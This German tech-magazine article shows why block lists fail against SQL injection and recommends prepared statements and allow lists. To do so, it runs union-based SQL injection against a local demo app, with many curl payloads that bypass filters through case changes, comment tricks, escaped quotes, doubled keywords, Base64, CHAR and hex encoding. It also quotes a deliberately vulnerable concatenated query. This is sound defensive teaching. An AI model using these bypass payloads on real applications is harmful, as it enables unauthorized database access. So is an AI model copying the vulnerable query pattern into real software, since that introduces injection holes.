zurück zum Artikel

SQL Injection: Gezielte Maßnahmen statt Block Lists

Matthias Altmann

(Bild: Photon photo/Shutterstock.com)

Bei Schwachstellen im Web nimmt SQL Injection nach wie vor eine führende Rolle ein, dabei ist die Abwehr gar nicht schwer.

Webangriffe nutzen vor allem zwei Lücken aus: SQL Injection und Local File Inclusion, wobei SQL Injection wohl nach wie vor mit mehr als zwei Drittel aller Webanwendungsangriffe eine klare Mehrheit hat. Das lässt sich unter anderem Studien zu Angriffen auf Webapplikationen [1] und zu Attacken auf Finanzdienste [2] entnehmen.

Auch die OWASP als Herausgeber der Top 10 der riskantesten Web-Lücken [3], listet in der nach wie vor jüngsten Ausgabe von 2017 [4] SQL Injection auf Platz 1. Obwohl das Phänomen seit mehr als 20 Jahren bekannt ist, scheint es nicht kleinzukriegen zu sein.

Um der Bedrohung Herr zu werden, setzen zahlreiche Softwarehersteller und -betreiber bis heute auf sogenannte Block Lists (ehemals Blacklists), die No-Gos für eintreffende Eingaben von außen vorgeben. Sie dienen als Basis, um die Eingaben entweder zu blocken, Teile davon abzuändern oder zu entfernen. Das Vorgehen arbeitet als Filter, damit am Ende keine bösartigen Queries die Datenbank erreichen.

Dieses Vorgehen ist zumeist relativ einfach umzusetzen, da es zunächst nur kleine Veränderungen an der Anwendung vornimmt und keinen tiefen Eingriff bedeutet. Die Seiteneffekte für den reibungsfreien Betrieb der bestehenden Software sind überschaubar. Es kann allerdings höchstens ein kurzfristiger Ansatz sein, denn die aufgestellten Blockaden können erfahrene Angreifer leicht umgehen.

Eine Demoanwendung hilft dabei, die Wege nachzuvollziehen. Der folgende Code ist eine Java-Spring-Boot-Anwendung (Version 2.3.8) auf Basis von JDBC mit einem Maria-DB-Backend. Sie lässt sich aber ebenso in jeder anderen Kombination aus einer relationalen Datenbank mit Framework oder Programmiersprache umsetzen, die die Nutzereingaben als String zu einer Query zusammenfügt und anschließend an die Datenbank sendet. Der Beispielcode findet sich auf GitHub [5]. Entwicklerinnen und Entwickler können ihn mit Git klonen und im Verzeichnis sqli_victim_webapp_java [6] einsehen und testen.

Die Spring-Anwendung hat mehrere REST-Endpunkte, und einer davon ist /vulnbyid. Dabei gibt der aufrufende Client als Request-Parameter eine ID mit, die einen Datenbankeintrag zurückliefert. Der Code setzt die Abfrage zunächst folgendermaßen zusammen:

"SELECT * FROM user WHERE id = '" + id + 
  "' GROUP BY username ORDER BY username ASC"

Im Anschluss gibt der Code diesen String an die Datenbank weiter:

Connection c = dataSource.getConnection();
rs = c.createStatement().
  executeQuery(blacklist.getBlacklistedQuery());

Per Kommandozeile sieht eine Abfrage dieses Endpunkts folgendermaßen aus:

curl localhost:5808/sqlidemo/vulnbyid -d id=1

Dass id nutzerseitig kontrollierbar ist und in die Query einfließt, ermöglicht eine typische SQL Injection. Angreifer beenden den aktuellen id-String und fügen ihren eigenen Teil hinzu, beispielsweise mit

1' AND 1=1 --

das ergibt folgende Anfrage:

"SELECT * FROM user WHERE id = '1' AND 1=1 \
  -- '" + "GROUP BY username ORDER BY username ASC"

-- leitet im SQL-Standard einen Kommentar ein. Das ist ein gängiges Mittel, um alles abzuschneiden, was danach kommt. Den Rest der Zeile ignoriert die Datenbank somit, und in der Attacke lassen sich Fehler vermeiden.

1' AND 1=1 -- ` vs `1' AND 1=0 --

Durch die AND-Verknüpfung prüft der Angriff, ob eine Injection möglich ist. Dabei nutzt er Boolesche Algebra: Der erste Teil sollte dieselbe Rückmeldung liefern wie ein einfaches id=1, und der zweite Teil sollte kein Ergebnis ausgeben.

Ist verifiziert, dass eine Injection funktioniert, durchläuft der Angriff zwei Identifikationsphasen:

  1. Datenbank
  2. Angriffsmuster

Über ein Feedback lässt sich die Datenbank ermitteln. Das kann in Form von Fehlermeldungen passieren oder anhand positiver Syntax, die erfolgreich durchläuft.

Ist die Datenbank bestimmt, gibt es fünf unterschiedliche Angriffsmuster:

  1. Error-Based versucht anhand logischer Fehler zu arbeiten und beispielsweise beim Fehlschlag einer Bedingung Informationen zu extrahieren.
  2. Blind hat keinen Rückgabekanal, läuft also blind und etwa über die Sleep-Funktion auf der Datenbank und if-Bedingungen, um einzelne Zeichen zu ermitteln.
  3. In Batched kann die Datenbank Befehle aufeinanderfolgend ausführen, etwa getrennt durch ein Semikolon in dem Injection-String.
  4. Die Methode Inline nutzt SELECTs in dem FROM Teil einer Query.
  5. Union-Based ist schließlich die Verschmelzung zweier Tabellen in einem Ergebnis. Dadurch lässt sich eine legitime Rückmeldung mit Daten zusammensetzen, auf die Nutzer keinen Zugriff haben dürften.

Da bei dem für die Demoanwendung ausgewählten MySQL Angriffe über Batched und Inline Queries zumeist nicht möglich sind, Error-based oftmals nicht leicht anwendbar ist und Blind zu den komplexeren Mustern gehört, geht der Text im Folgenden beispielhaft nur auf das Angriffsmuster Union-Based ein.

Web Application Security auf der heise devSec

Dieses Jahr erweitern heise Developer, heise Security und dpunkt.verlag die Konferenz für sichere Softwareentwicklung heise devSec [7] um drei Thementage, und am 1. Juli dreht sich alles um das Thema Web Application Security [8]. Zuvor steht am 29. Juni DevSecOps im Fokus [9]. Für beide Tage gilt derzeit noch der Frühbucherrabatt.

Wer einen Vortrag zu sicherer Softwareentwicklung halten möchte, sollte noch bis zum 13. Juni den Call for Proposals zu der im Herbst [10] veranstalteten zweitägigen heise devSec nutzen.

Der Angriff ermittelt zunächst die Anzahl der Spalten, indem die Anfrage so lange ORDER BY erhöht, bis eine Fehlermeldung erscheint:

curl localhost:5808/sqlidemo/vulnbyid -d \
  id="1' ORDER BY 1 -- "
curl localhost:5808/sqlidemo/vulnbyid -d \
  id="1' ORDER BY 2 -- "
curl localhost:5808/sqlidemo/vulnbyid -d \
  id="1' ORDER BY 3 -- "
curl localhost:5808/sqlidemo/vulnbyid -d \
  id="1' ORDER BY 4 -- "

Unknown column '4' in 'order clause'

Somit existieren drei Spalten. Nun ist die Frage, welche davon in der Rückmeldung auf der Webseite zu sehen ist. In der Demoanwendung ist es die Spalte 3:

Die dritte Spalte ist als Rückkanal ermittelt.

An dieser Stelle kann die Angriffsseite Daten extrahieren. Nachfolgend dient als Beispiel das Auslesen der Datenbankversion:

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' UNION SELECT NULL,NULL,(@@VERSION) -- "

Die Versionsnummer der Datenbank ließ sich über Union Select auslesen.

Sinnbild für Block Lists

(Bild: Wikimedia Commons [11])

Eine erste Idee zur Gegenmaßnahme könnte folgende Festlegung sein: Es sind nur Queries zugelassen, die an bestimmten Stellen Groß- oder Kleinschreibung aufweisen. Eine andere Variante wäre, dass die komplette Query eine einheitliche Schreibweise aufweist. Mit einer Prüfung auf Kleinschreibung würde

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' UNION SELECT NULL,NULL,(@@VERSION) -- "

nicht mehr funktionieren. Das ist aber ebenso schnell umgangen, indem die Angreifer die Anfrage anpassen:

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null,(@@version) \
-- " -d blacklistconfig=block_anyuppercase

Der Suchraum ist dabei nicht besonders groß, da nur jeweils zwei Möglichkeiten pro Zeichen in Betracht kommen, wenn es sich um einen Buchstaben handelt.

Wenn auf die Query weitere Keywords folgen, ließen sich Kommentare mit -- in der Eingabe verbieten. Dadurch sollte es schwieriger werden, eine gültige Syntax aufrecht zu erhalten:

curl localhost:5808/sqlidemo/vulnbyid -d id="1' \
union select null,null,(@@version) -- " \
-d blacklistconfig=block_comment_doubledash

In dem Fall können Angreifer andere Kommentarzeichen verwenden:

curl localhost:5808/sqlidemo/vulnbyid -d id="1' \
union select null,null,(@@version) #" \
-d blacklistconfig=block_comment_doubledash

oder komplett darauf verzichten und auf das SQL-Kommando AS zurückgreifen:

curl localhost:5808/sqlidemo/vulnbyid -d id="1' \
union select null,null,(@@version) as username \
from user where id='1" \
-d blacklistconfig=block_comment_doubledash,\block_comment_hash

Um einen Ausbruch aus der Query mit einer Single Quote zu erkennen, wäre in einem potenziellen nächsten Schritt zu prüfen, ob die Eingabe eine ungerade Anzahl von Single Quotes enthält. Sollte das der Fall sein, fügt folgender Code ein weiteres Anführungszeichen hinzu:

long count = 
  userinput.chars().filter(ch -> ch == '\'').count();
if (count%2 != 0)
  filteredinput = userinput.replaceFirst("'","' '");

Danach funktioniert der letzte Angriff nicht mehr.

Die Abfrage erhält eine abschließende Single Quote.

Allerdings existieren Escape-Zeichen beziehungsweise -Sequenzen, bei denen die Datenbank bestimmte Zeichen als Bestandteil eines Strings interpretiert. In MySQL ist das [12] bei \' der Fall.

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1\' UNION SELECT NULL,NULL,(@@VERSION) \
-- " -d blacklistconfig=add_oddsinglequotes

Der Code wertet das erste Anführungszeichen nicht als Ende des Strings, sondern als dessen Teil aus. Erst nach dem zweiten eingefügten Single Quote gilt der String als beendet. Somit lässt sich der Filter umgehen.

Eine weitere Variante wäre, bestimmte Keywords wie UNION SELECT im Eingabe-String zu verbieten:

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null,(@@version) \
-- " -d blacklistconfig=block_keywordsequences

Der Code blockt einzelne Keywords.

Als Gegenmaßnahme können Angreifer wiederum datenbankspezifische Features nutzen. Beispielsweise können sie über /**/ einen Inline-Kommentar einfügen, was einem Leerzeichen gleichkommt. Folgender Befehl hebelt die Analyse aus:

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union/**/select null,null,(@@version) \
-- " -d blacklistconfig=block_keywordsequences

Sollte der Filter bestimmte Keywords einfach entfernen wie hier union select:

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null,(@@version) \
-- " -d blacklistconfig=strip_keywordsequences

reagiert der Angreifer, indem er den String doppelt mitgibt:

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union union selectselect null,null, \
(@@version) -- " -d blacklistconfig=strip_keywordsequences

Schließlich ließe sich der String version unabhängig von der Groß- und Kleinschreibung komplett sperren, da er in MySQL für die Abfrage der Version dient:

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null,(@@version) \
-- " -d blacklistconfig=block_badstrings

In dem Fall können Angreifer die Versionsnummer direkt aus der Tabelle als String lesen und dabei eine Verkettung verwenden. Das funktioniert entweder über

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null, \
(select variable_value from \
information_schema.global_variables \
where variable_name=CONCAT('VERSIO','N'))\
-- " -d blacklistconfig=block_badstrings

oder mit

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null, \
(select variable_value from \
information_schema.global_variables \
where variable_name='VERSIO' 'N') \
-- " -d blacklistconfig=block_badstrings

Falls der Filter auch das Vorgehen erkennt, können Angreifer auf Base64 zurückgreifen:

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null, \
(select variable_value from \
information_schema.global_variables \
where variable_name=FROM_BASE64('VkVSU0lPTg==')) -- "

Sollte das System Base64 erkennen und abwehren, verwenden Angreifer Ascii-Zahlen-Werte:

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null,\
(select variable_value from \
information_schema.global_variables \
where variable_name=CHAR(86,69,82,83,73,79,78)) -- "

Existiert auch dagegen eine Abwehrmaßnahme, lässt sich die Hex-Repräsentaton nutzen, die jeweils einen String zurückliefert:

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null, \
(select variable_value from \
information_schema.global_variables \
where variable_name=0x56455253494F4E) -- "

Am Ende könnte ein Request, der nahezu alle vorangegangenen Schutzmaßnahmen umgeht, folgendermaßen aussehen:

curl http://localhost:5808/sqlidemo/vulnbyid \
  -d id="1' unionunion select select null,null, \
  (select variable_value from \
    information_schema.global_variables \
    where variable_name=0x56455253494f4e) \
  as username from user where id='1" \
  -d blacklistconfig=\
add_oddsinglequotes,\
strip_keywordsequences,\
block_comment_doubledash,\
block_comment_hash,\
block_anyuppercase,\
block_badstrings,\
block_concatenation,\
block_base64,\
block_char_function

Mehrere Varianten umgehen potenzielle Sicherheitsmechanismen.

Schnell zeigt sich, dass Block Lists ein Fass ohne Boden sind. Eine vermeintlich einfache Lösung entpuppt sich oft als komplexes Gebilde, das schwer zu warten ist und unübersichtlich wird.

Sollte man daran festhalten, ist schwer einschätzbar, ob man nicht etwas vergessen oder übersehen hat und damit das Tor für eine gefährliche Sicherheitslücke offen ist.

Daher empfiehlt es sich, Schutzmaßnahmen in folgender Reihenfolge zu erwägen – auch, aber nicht nur gegen SQL Injection:

  1. Härtetests der genutzten Umgebung und Verwenden der dort mitgegebenen Befehle, die Schutzvorkehrungen treffen
  2. Coding Vorgaben, Reviews und Schulungen und
  3. Bereinigen der Eingaben, auf die Werte die tatsächlich gefragt sind.

Speziell zum Sichern gegen SQL Injection helfen

  1. Der Einsatz von Prepared Statements, wo sie möglich sind und
  2. Allow Lists (ehemals Whitelists) in Ausnahmefällen.

Details dazu finden sich im OWASP SQL Injection Prevention Cheat Sheet [13] und unter How to prevent SQL Injection - Portswigger [14].

Zunächst sollten Teams analysieren, in welchem Umfeld sich die Entwicklung befindet: Was kann die oberste Schicht? Hält das eingesetzte Framework beziehungsweise die Programmiersprache ausgewählten Härtetests stand? Dazu gehört ein Blick auf die Anzahl der regelmäßigen Contributors, GitHub-Stars, Menge an CVEs und Pressemeldungen über einen bestimmten Zeitraum, um die Reife des Projekts zu bewerten. Unter anderem bietet sich der Open Hub von Synopsys [15] als Recherchequelle zu Open-Source-Projekten an. Je nach Ergebnis stellt sich die Frage, ob ein Wechsel des Frameworks in Betracht zu ziehen ist.

Die Recherchen sollten möglichst früh im Projektverlauf erfolgen und der Einsatz der Tools im Anschluss regelmäßig beispielsweise durch Pentests wieder auf den Prüfstand gebracht werden. Aus Security-Sicht sollte der Blick darauf gerichtet sein, welche Sicherheitsfunktionen ein Framework an Bordmitteln mitbringt. Konkret bietet das für die Beispielanwendung genutzte Spring-Framework Funktionen zum Erzeugen von JPA-Queries (Java Persistence API).

Optional<User> optional = userRepository.findById(id);

Selbst wenn eine sichere Umgebung nun zur Option steht, kann es sein, dass der Entwickler oder die Entwicklerin aus sicherem Code ausbrechen. Das passiert gerade am Anfang der Karriere, eventuell weil keine anderen Vorgehensweisen bekannt sind – in diesem Falle etwa durch Zusammensetzen einer unsicheren SQL Query. Hier helfen Coding-Vorgaben, Reviews und Schulungen, um die jeweilige Person an die Hand zu nehmen und gleichzeitig die Codequalität zu heben.

Allgemein hilft gegen viele Sicherheitslücken in Webanwendungen, nur die Eingaben zu erlauben, die tatsächlich von ihrer Bedeutung passen. Wenn beispielsweise für eine ID etwas anderes als ein ganzzahliger positiver Wert auftaucht, sollte die Anwendung die Eingabe mit einem Fehler quittieren.

Als Faustregel gilt: Zum Vermeiden von SQL Injection ist der Einsatz von Prepared Statements immer das erste und beste Mittel der Wahl.

In der Demoanwendung sieht das beispielsweise über Java Persistence Query Language (JPQL) folgendermaßen aus:

String jpql = "select username from User where id = :id";
  TypedQuery<String> q = 
    em.createQuery(jpql, String.class).
    setParameter("id",Integer.parseInt(id));
return q.getResultList().get(0);

Prepared Statements lassen sich jedoch nicht in allen Teilen einer Query nutzen, sondern nur dort, wo Daten erscheinen, inklusive der WHERE-Klausel und Werten in einem INSERT- oder UPDATE-Statement. Bereiche wie Spalten- und Tabellennamen oder die ORDER BY-Klausel sind ausgenommen.

In einem solchen Fall bietet es sich an die Logik zu überdenken oder auf Allow Lists zurückzugreifen. Eine Allow List definiert im Gegensatz zu einer Block List Eingaben, die erlaubt sind, und verwirft alles andere. Da Spalten- und Tabellennamen in der Regel bekannt sind, bieten sich Enums an. Damit schrumpft der Bereich der zusammengesetzten Strings zu einem festen Set.

Als Ergänzung gibt es noch weitere Schritte, die einsetzbar sind: Stored Procedures erlauben es, Datenbankcode zu kapseln und dadurch weniger Einblick zu geben. Allerdings sind dabei erneut Prepared Statements das Mittel der Wahl. Zudem ist ein Zugriff auf die Datenbank und Expertise in dem Bereich unabdingbar. Beispielsweise führen manche Datenbanken den Code mit Erstellerrechten aus – ähnlich einem suid-Bit in Unix-Systemen –, was bei einem Ausbruch dazu führt, dass Angreifer direkt DB-Administratorenrechte haben könnten.

Ein Datenbank-Administrator sollte die Accounts auf ihre jeweiligen Rollen mit Befehlen und Rechten einschränken, sodass in einem bestimmten Kontext nur das wirklich Notwendige erlaubt ist. Das verringert den Spielraum für potenzielle Angriffe.

Die Entwicklung kann eine zweite Verteidigungslinie für den Fall aufziehen, dass ein Angriff die erste Schutzmaßnahme umgeht. Beispielsweise bietet es sich an, zusätzlich zu Prepared Statements auf Allow Listing zu setzen.

Zumindest erwähnt sei noch die Option, alle Zeichen der Nutzereingabe zu escapen: Immer wenn eine Escape-Sequenz auf ein Zeichen möglich ist, kommt sie zum Einsatz. Der Autor rät grundsätzlich davon ab, denn das Vorgehen entschärft zwar den Eingabestring, ist aber durchaus fehleranfällig. Daher ist es nur eine Notlösung zur kurzeitigen Absicherung, wenn sich die zuvor genannten Methoden nicht umsetzen lassen.

Leider bleiben SQL Injection ein Gefahr für Webanwendungen. Viele Maßnahmen helfen nur oberflächlich und lassen sich durch geschickte Gegenmaßnahmen aushebeln. Block Lists stellen ein Fass ohne Boden dar, das regelmäßiges Flicken der Lücken erfordert.

Die sicherste Methode zum Absichern von Webanwendungen ist der Einsatz von Prepared Statements. Wer zusätzliche Sicherheit sucht, ist mit Allow Lists gut beraten.

Matthias Altmann
ist Softwareentwickler und IT-Security-Experte bei der Micromata GmbH, wo er gemeinsam mit seinen Kollegen den Bereich IT-Sicherheit betreut und fortentwickelt. Er ist außerdem Mitbegründer und Organisator des IT-Security-Meetups Kassel, einem Netzwerk von IT-Security-Enthusiasten, die sich dem fachlichen Austausch zum Thema verschrieben haben.

(rme [16])


URL dieses Artikels:
https://www.heise.de/-6067640

Links in diesem Artikel:
[1] https://www.enisa.europa.eu/publications/web-application-attacks/at_download/fullReport
[2] https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/soti-security-financial-services-hostile-takeover-attempts-report-2020.pdf
[3] https://owasp.org/www-project-top-ten/
[4] https://www.heise.de/news/Schwachstellen-in-Webanwendungen-OWASP-Top-10-ist-2017-staerker-von-der-Community-gepraegt-3894946.html
[5] https://github.com/secf00tprint/payloadtester_sqli
[6] https://github.com/secf00tprint/payloadtester_sqli/tree/master/sqli_victim_webapp_java
[7] https://www.heise-devsec.de/
[8] https://www.heise-devsec.de/websec.php
[9] https://www.heise-devsec.de/devsecops.php
[10] https://www.heise-devsec.de/cfp.php
[11] https://commons.wikimedia.org/wiki/File:Path_of_least_resistance.jpg
[12] https://dev.mysql.com/doc/refman/8.0/en/string-literals.html
[13] https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
[14] https://portswigger.net/web-security/sql-injection
[15] https://www.openhub.net/p/spring-boot/security
[16] mailto:rme@ix.de